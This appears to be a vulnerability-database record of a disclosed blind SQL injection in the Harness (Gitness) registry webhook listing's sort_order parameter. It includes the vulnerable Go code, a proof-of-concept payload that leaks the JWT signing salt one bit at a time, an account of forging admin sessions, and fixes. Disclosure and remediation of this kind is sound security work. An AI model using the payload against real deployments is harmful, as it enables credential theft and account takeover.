GCVE-1988-2026-0416
Vulnerability from gna-1988 – Published: 2026-10-02 04:57 – Updated: 2026-10-02 04:57
VLAI
EPSS
VEX
Title
harness(gitness) registry webhook sort_order blind SQL injection
Summary
# harness registry webhook sort_order blind SQL injection
**Author:** Khashayar Fereidani
**Disclosure Date:** 2026-09-24
**Advisory:** https://fereidani.com/harness-registry-webhook-sortorder-blind-sql-injection
**Contact:** https://fereidani.com/contact
## Description
Harness open source (Gitness) is a self-hosted platform for source control,
pipelines and artifact registries. The registry API lists the webhooks of a
registry at `GET /registry/{ref}/webhooks` with optional `sort_field` and
`sort_order` query parameters. The controller copies the raw query-string
bytes of `sort_order` into the DAO call with no normalization
(`registry/app/api/controller/metadata/list_webhooks.go:80`):
```go
sortByField := ""
sortByOrder := ""
if r.Params.SortOrder != nil {
sortByOrder = string(*r.Params.SortOrder)
}
if r.Params.SortField != nil {
sortByField = string(*r.Params.SortField)
}
webhooks, err := c.WebhooksRepository.ListByRegistry(
ctx,
sortByField,
sortByOrder,
...
)
```
The DAO allowlists the sort field but interpolates the order clause raw
(`registry/app/store/database/webhook.go:224`):
```go
validSortFields := map[string]string{
"name": "registry_webhook_name",
}
validSortByField := validSortFields[sortByField]
if validSortByField != "" {
query = query.OrderBy(fmt.Sprintf("%s %s", validSortByField, sortByOrder))
}
```
Every other value in the query is bound as a parameter; only the ORDER BY
fragment is assembled with `fmt.Sprintf`. `SortOrder` is generated by
oapi-codegen as a plain `type SortOrder string`
(`registry/app/api/openapi/contracts/artifact/types.gen.go:1223`) with no
runtime enum validation, so any bytes survive from the query string to the
SQL text.
The project already has the correct guard and applies it everywhere else.
`GetSortByOrder` (`registry/app/api/controller/metadata/utils.go:220`)
coerces anything that is not `DESC` to `ASC`, and the sibling request-info
helpers call it on every other listing endpoint
(`registry/app/api/controller/metadata/base.go:107` and `:489`). The webhook
listing builds its parameters inline and is the one call path that skips the
normalization. A second raw interpolation of the same pair sits in the
upstream proxy DAO, which concatenates both field and order with no allowlist
at all (`registry/app/store/database/upstream_proxy.go:338`):
```go
q = q.OrderBy(" r.registry_" + sortByField + " " + sortByOrder).
Limit(ulimit).
Offset(uoffset)
```
Its callers currently normalize through the base helpers, but the DAO trusts
its inputs, so a caller-side fix alone leaves a second unsafe path behind.
## Reproduction
The DAO assembles the SQL with squirrel before any database round trip, so
the injection is visible without a database. The in-package test below
registers a mock driver that records the statement `ListByRegistry`
prepares, and requests the webhook list with the attack payload as
`sort_order`, exactly what `GET
/registry/{ref}/webhooks?sort_field=name&sort_order=<payload>`
reaches:
```go
package database
import (
"context"
"database/sql"
"database/sql/driver"
"errors"
"strings"
"testing"
"github.com/jmoiron/sqlx"
)
type recordDriver struct{ lastQuery string }
func (d *recordDriver) Open(string) (driver.Conn, error) { return
&recordConn{d: d}, nil }
type recordConn struct{ d *recordDriver }
func (c *recordConn) Prepare(q string) (driver.Stmt, error) {
c.d.lastQuery = q
return nil, errors.New("captured")
}
func (c *recordConn) Close() error { return nil }
func (c *recordConn) Begin() (driver.Tx, error) { return nil,
errors.New("no tx") }
func TestPocSQLi(t *testing.T) {
rec := &recordDriver{}
sql.Register("recorder-poc", rec)
sdb, err := sql.Open("recorder-poc", "unused")
if err != nil {
t.Fatal(err)
}
repo := NewWebhookDao(sqlx.NewDb(sdb, "postgres"))
payload := "ASC,(SELECT CASE WHEN (substr((select principal_salt from
principals limit 1),1,1)='a')" +
" THEN registry_webhook_name ELSE registry_webhook_id END)"
_, _ = repo.ListByRegistry(context.Background(), "name", payload, 10, 0, "", 1)
sent := rec.lastQuery
for _, needle := range []string{"SELECT CASE WHEN", "principal_salt",
"registry_webhook_id END"} {
if !strings.Contains(sent, needle) {
t.Fatalf("payload fragment %q missing from SQL sent to the
database:\n%s", needle, sent)
}
}
t.Logf("SQL SENT TO DATABASE:\n%s", sent)
}
```
Run it inside a checkout of harness/harness:
```sh
go test ./registry/app/store/database/ -run TestPocSQLi -v
```
Observed output on main at commit 912a1f3 (fields truncated):
```text
--- PASS: TestPocSQLi (0.00s)
poc_sqli_test.go:47: SQL SENT TO DATABASE:
SELECT registry_webhook_id, ... FROM registry_webhooks
WHERE registry_webhook_registry_id = $1
ORDER BY registry_webhook_name ASC,(SELECT CASE WHEN
(substr((select principal_salt from principals limit 1),1,1)='a')
THEN registry_webhook_name ELSE registry_webhook_id END)
LIMIT 10 OFFSET 0
```
The `$1` binding shows that every other value is parameterized; the payload
sits verbatim inside ORDER BY. PostgreSQL evaluates expressions there, so a
CASE keyed on `substr` of any database value flips the row order (or raises
an error) depending on the condition, which leaks one boolean per request.
That is a full blind extraction primitive for any value the database user
can read, one character and one bit at a time.
## Impact
Blind SQL injection (CWE-89) reachable by any authenticated user who has
view permission on any registry (`enum.PermissionRegistryView` is the gate at
`registry/app/api/controller/metadata/list_webhooks.go:46`). The realistic
target is `principals.principal_salt`: the JWT authenticator verifies session
tokens with HMAC keyed only by that salt
(`app/auth/authn/jwt.go:99-107`), so recovering a salt lets the attacker
forge a valid session token for that principal, including administrators.
The salt column is excluded from API responses (`json:"-"`,
`registry/types/principal.go:37`), which is exactly why the database has to
be read through the query itself.
The injection is read-side exfiltration: the surrounding query is fully
parameterized and the PostgreSQL driver does not run stacked queries, so the
attacker cannot write to the database through this path.
## Solution
Validate at both ends. The controller should normalize the parameter with
the guard its siblings already use, which collapses any input to `ASC` or
`DESC`:
```go
sortByOrder = GetSortByOrder(sortByOrder)
```
But the DAO is the component that assembles the SQL, so it should not accept
free text in the first place. An allowlist at the sink holds regardless of
which caller reaches it:
```go
validSortOrders := map[string]struct{}{"ASC": {}, "DESC": {}}
if _, ok := validSortOrders[strings.ToUpper(sortByOrder)]; !ok {
sortByOrder = "ASC"
}
```
The upstream proxy DAO needs the same treatment for both parameters: an
allowlist for the sort field (it currently concatenates the raw string onto
a column prefix) and the same order check, so a future caller that forgets
to normalize cannot reopen the hole.
Until a fix lands, block or rewrite the `sort_order` parameter of the
webhook listing at the reverse proxy in front of the deployment; anything
that is not exactly `asc` or `desc` (case-insensitive) can be dropped.
## Timeline
- 2026-09-24: Reported publicly as harness/harness#3724, found while
scanning popular repositories with my static analyzer. The project's
earlier security reports had gone unanswered; the current main branch
(912a1f3) is affected.
## References
- [harness/harness#3724 - blind SQL injection via sort_order in
registry webhook
listing](https://github.com/harness/harness/issues/3724)
- [harness/harness -
registry/app/store/database/webhook.go](https://github.com/harness/harness/blob/main/registry/app/store/database/webhook.go)
- [harness/harness -
registry/app/api/controller/metadata/list_webhooks.go](https://github.com/harness/harness/blob/main/registry/app/api/controller/metadata/list_webhooks.go)
- [harness/harness -
registry/app/store/database/upstream_proxy.go](https://github.com/harness/harness/blob/main/registry/app/store/database/upstream_proxy.go)
- [CWE-89: Improper Neutralization of Special Elements used in an SQL
Command](https://cwe.mitre.org/data/definitions/89.html)
- [CWE-200: Exposure of Sensitive Information to an Unauthorized
Actor](https://cwe.mitre.org/data/definitions/200.html)
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
12 references
Impacted products
1 product
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| Harness | registry webhook |
Affected:
unknown
|
guessed |
{
"containers": {
"cna": {
"affected": [
{
"product": "registry webhook",
"vendor": "Harness",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Khashayar Fereidani"
}
],
"descriptions": [
{
"lang": "en",
"value": "# harness registry webhook sort_order blind SQL injection\n\n**Author:** Khashayar Fereidani\n**Disclosure Date:** 2026-09-24\n**Advisory:** https://fereidani.com/harness-registry-webhook-sortorder-blind-sql-injection\n**Contact:** https://fereidani.com/contact\n\n## Description\n\nHarness open source (Gitness) is a self-hosted platform for source control,\npipelines and artifact registries. The registry API lists the webhooks of a\nregistry at `GET /registry/{ref}/webhooks` with optional `sort_field` and\n`sort_order` query parameters. The controller copies the raw query-string\nbytes of `sort_order` into the DAO call with no normalization\n(`registry/app/api/controller/metadata/list_webhooks.go:80`):\n\n```go\nsortByField := \"\"\nsortByOrder := \"\"\nif r.Params.SortOrder != nil {\nsortByOrder = string(*r.Params.SortOrder)\n}\nif r.Params.SortField != nil {\nsortByField = string(*r.Params.SortField)\n}\n\nwebhooks, err := c.WebhooksRepository.ListByRegistry(\nctx,\nsortByField,\nsortByOrder,\n...\n)\n```\n\nThe DAO allowlists the sort field but interpolates the order clause raw\n(`registry/app/store/database/webhook.go:224`):\n\n```go\nvalidSortFields := map[string]string{\n\"name\": \"registry_webhook_name\",\n}\nvalidSortByField := validSortFields[sortByField]\nif validSortByField != \"\" {\nquery = query.OrderBy(fmt.Sprintf(\"%s %s\", validSortByField, sortByOrder))\n}\n```\n\nEvery other value in the query is bound as a parameter; only the ORDER BY\nfragment is assembled with `fmt.Sprintf`. `SortOrder` is generated by\noapi-codegen as a plain `type SortOrder string`\n(`registry/app/api/openapi/contracts/artifact/types.gen.go:1223`) with no\nruntime enum validation, so any bytes survive from the query string to the\nSQL text.\n\nThe project already has the correct guard and applies it everywhere else.\n`GetSortByOrder` (`registry/app/api/controller/metadata/utils.go:220`)\ncoerces anything that is not `DESC` to `ASC`, and the sibling request-info\nhelpers call it on every other listing endpoint\n(`registry/app/api/controller/metadata/base.go:107` and `:489`). The webhook\nlisting builds its parameters inline and is the one call path that skips the\nnormalization. A second raw interpolation of the same pair sits in the\nupstream proxy DAO, which concatenates both field and order with no allowlist\nat all (`registry/app/store/database/upstream_proxy.go:338`):\n\n```go\nq = q.OrderBy(\" r.registry_\" + sortByField + \" \" + sortByOrder).\nLimit(ulimit).\nOffset(uoffset)\n```\n\nIts callers currently normalize through the base helpers, but the DAO trusts\nits inputs, so a caller-side fix alone leaves a second unsafe path behind.\n\n## Reproduction\n\nThe DAO assembles the SQL with squirrel before any database round trip, so\nthe injection is visible without a database. The in-package test below\nregisters a mock driver that records the statement `ListByRegistry`\nprepares, and requests the webhook list with the attack payload as\n`sort_order`, exactly what `GET\n/registry/{ref}/webhooks?sort_field=name\u0026sort_order=\u003cpayload\u003e`\nreaches:\n\n```go\npackage database\n\nimport (\n\"context\"\n\"database/sql\"\n\"database/sql/driver\"\n\"errors\"\n\"strings\"\n\"testing\"\n\n\"github.com/jmoiron/sqlx\"\n)\n\ntype recordDriver struct{ lastQuery string }\n\nfunc (d *recordDriver) Open(string) (driver.Conn, error) { return\n\u0026recordConn{d: d}, nil }\n\ntype recordConn struct{ d *recordDriver }\n\nfunc (c *recordConn) Prepare(q string) (driver.Stmt, error) {\nc.d.lastQuery = q\nreturn nil, errors.New(\"captured\")\n}\nfunc (c *recordConn) Close() error { return nil }\nfunc (c *recordConn) Begin() (driver.Tx, error) { return nil,\nerrors.New(\"no tx\") }\n\nfunc TestPocSQLi(t *testing.T) {\nrec := \u0026recordDriver{}\nsql.Register(\"recorder-poc\", rec)\nsdb, err := sql.Open(\"recorder-poc\", \"unused\")\nif err != nil {\nt.Fatal(err)\n}\nrepo := NewWebhookDao(sqlx.NewDb(sdb, \"postgres\"))\n\npayload := \"ASC,(SELECT CASE WHEN (substr((select principal_salt from\nprincipals limit 1),1,1)=\u0027a\u0027)\" +\n\" THEN registry_webhook_name ELSE registry_webhook_id END)\"\n\n_, _ = repo.ListByRegistry(context.Background(), \"name\", payload, 10, 0, \"\", 1)\n\nsent := rec.lastQuery\nfor _, needle := range []string{\"SELECT CASE WHEN\", \"principal_salt\",\n\"registry_webhook_id END\"} {\nif !strings.Contains(sent, needle) {\nt.Fatalf(\"payload fragment %q missing from SQL sent to the\ndatabase:\\n%s\", needle, sent)\n}\n}\nt.Logf(\"SQL SENT TO DATABASE:\\n%s\", sent)\n}\n```\n\nRun it inside a checkout of harness/harness:\n\n```sh\ngo test ./registry/app/store/database/ -run TestPocSQLi -v\n```\n\nObserved output on main at commit 912a1f3 (fields truncated):\n\n```text\n--- PASS: TestPocSQLi (0.00s)\n poc_sqli_test.go:47: SQL SENT TO DATABASE:\n SELECT registry_webhook_id, ... FROM registry_webhooks\n WHERE registry_webhook_registry_id = $1\n ORDER BY registry_webhook_name ASC,(SELECT CASE WHEN\n (substr((select principal_salt from principals limit 1),1,1)=\u0027a\u0027)\n THEN registry_webhook_name ELSE registry_webhook_id END)\n LIMIT 10 OFFSET 0\n```\n\nThe `$1` binding shows that every other value is parameterized; the payload\nsits verbatim inside ORDER BY. PostgreSQL evaluates expressions there, so a\nCASE keyed on `substr` of any database value flips the row order (or raises\nan error) depending on the condition, which leaks one boolean per request.\nThat is a full blind extraction primitive for any value the database user\ncan read, one character and one bit at a time.\n\n## Impact\n\nBlind SQL injection (CWE-89) reachable by any authenticated user who has\nview permission on any registry (`enum.PermissionRegistryView` is the gate at\n`registry/app/api/controller/metadata/list_webhooks.go:46`). The realistic\ntarget is `principals.principal_salt`: the JWT authenticator verifies session\ntokens with HMAC keyed only by that salt\n(`app/auth/authn/jwt.go:99-107`), so recovering a salt lets the attacker\nforge a valid session token for that principal, including administrators.\nThe salt column is excluded from API responses (`json:\"-\"`,\n`registry/types/principal.go:37`), which is exactly why the database has to\nbe read through the query itself.\n\nThe injection is read-side exfiltration: the surrounding query is fully\nparameterized and the PostgreSQL driver does not run stacked queries, so the\nattacker cannot write to the database through this path.\n\n## Solution\n\nValidate at both ends. The controller should normalize the parameter with\nthe guard its siblings already use, which collapses any input to `ASC` or\n`DESC`:\n\n```go\nsortByOrder = GetSortByOrder(sortByOrder)\n```\n\nBut the DAO is the component that assembles the SQL, so it should not accept\nfree text in the first place. An allowlist at the sink holds regardless of\nwhich caller reaches it:\n\n```go\nvalidSortOrders := map[string]struct{}{\"ASC\": {}, \"DESC\": {}}\nif _, ok := validSortOrders[strings.ToUpper(sortByOrder)]; !ok {\nsortByOrder = \"ASC\"\n}\n```\n\nThe upstream proxy DAO needs the same treatment for both parameters: an\nallowlist for the sort field (it currently concatenates the raw string onto\na column prefix) and the same order check, so a future caller that forgets\nto normalize cannot reopen the hole.\n\nUntil a fix lands, block or rewrite the `sort_order` parameter of the\nwebhook listing at the reverse proxy in front of the deployment; anything\nthat is not exactly `asc` or `desc` (case-insensitive) can be dropped.\n\n## Timeline\n\n- 2026-09-24: Reported publicly as harness/harness#3724, found while\n scanning popular repositories with my static analyzer. The project\u0027s\n earlier security reports had gone unanswered; the current main branch\n (912a1f3) is affected.\n\n## References\n\n- [harness/harness#3724 - blind SQL injection via sort_order in\nregistry webhook\nlisting](https://github.com/harness/harness/issues/3724)\n- [harness/harness -\nregistry/app/store/database/webhook.go](https://github.com/harness/harness/blob/main/registry/app/store/database/webhook.go)\n- [harness/harness -\nregistry/app/api/controller/metadata/list_webhooks.go](https://github.com/harness/harness/blob/main/registry/app/api/controller/metadata/list_webhooks.go)\n- [harness/harness -\nregistry/app/store/database/upstream_proxy.go](https://github.com/harness/harness/blob/main/registry/app/store/database/upstream_proxy.go)\n- [CWE-89: Improper Neutralization of Special Elements used in an SQL\nCommand](https://cwe.mitre.org/data/definitions/89.html)\n- [CWE-200: Exposure of Sensitive Information to an Unauthorized\nActor](https://cwe.mitre.org/data/definitions/200.html)\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-200",
"description": "CWE-200",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-89",
"description": "CWE-89",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-02T04:57:33Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/82"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/82"
},
{
"url": "https://cwe.mitre.org/data/definitions/200.html"
},
{
"url": "https://cwe.mitre.org/data/definitions/89.html"
},
{
"url": "https://fereidani.com/contact"
},
{
"url": "https://fereidani.com/harness-registry-webhook-sortorder-blind-sql-injection"
},
{
"url": "https://github.com/harness/harness/blob/main/registry/app/api/controller/metadata/list_webhooks.go"
},
{
"url": "https://github.com/harness/harness/blob/main/registry/app/store/database/upstream_proxy.go"
},
{
"url": "https://github.com/harness/harness/blob/main/registry/app/store/database/webhook.go"
},
{
"url": "https://github.com/harness/harness/issues/3724"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/82"
],
"discovery": "EXTERNAL"
},
"title": "harness(gitness) registry webhook sort_order blind SQL injection",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0416",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/82",
"automated": true,
"contentSha256": "42aa0137486ebb0c1774ed99577e2684448941eae7739e7e9d4588e053eb8943",
"evidenceScore": 10,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/82",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-09-24T03:12:34Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-10-02T04:57:33Z",
"dateUpdated": "2026-10-02T04:57:33Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0416"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Loading…
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.
Loading…